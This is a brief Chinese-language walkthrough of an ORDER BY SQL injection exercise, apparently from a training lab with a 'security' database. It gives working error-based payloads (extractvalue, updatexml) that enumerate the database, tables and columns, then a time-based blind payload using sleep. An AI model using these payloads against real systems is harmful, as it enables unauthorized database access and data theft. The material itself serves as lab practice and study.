单双引号都报错’

后面是order by使用and 1=1 是验证不了的

1 and(extractvalue(1,concat(0x5c,database())))
1 and(updatexml(1,concat(0x7e,database(),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1))

1 and(extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))))
1 and(updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1))

发现页面无报错回显，这里还是order by 无法使用union

使用延时注入

1 and if(substr(database(),1,1)='s',sleep(2),0)

用脚本进行爆破
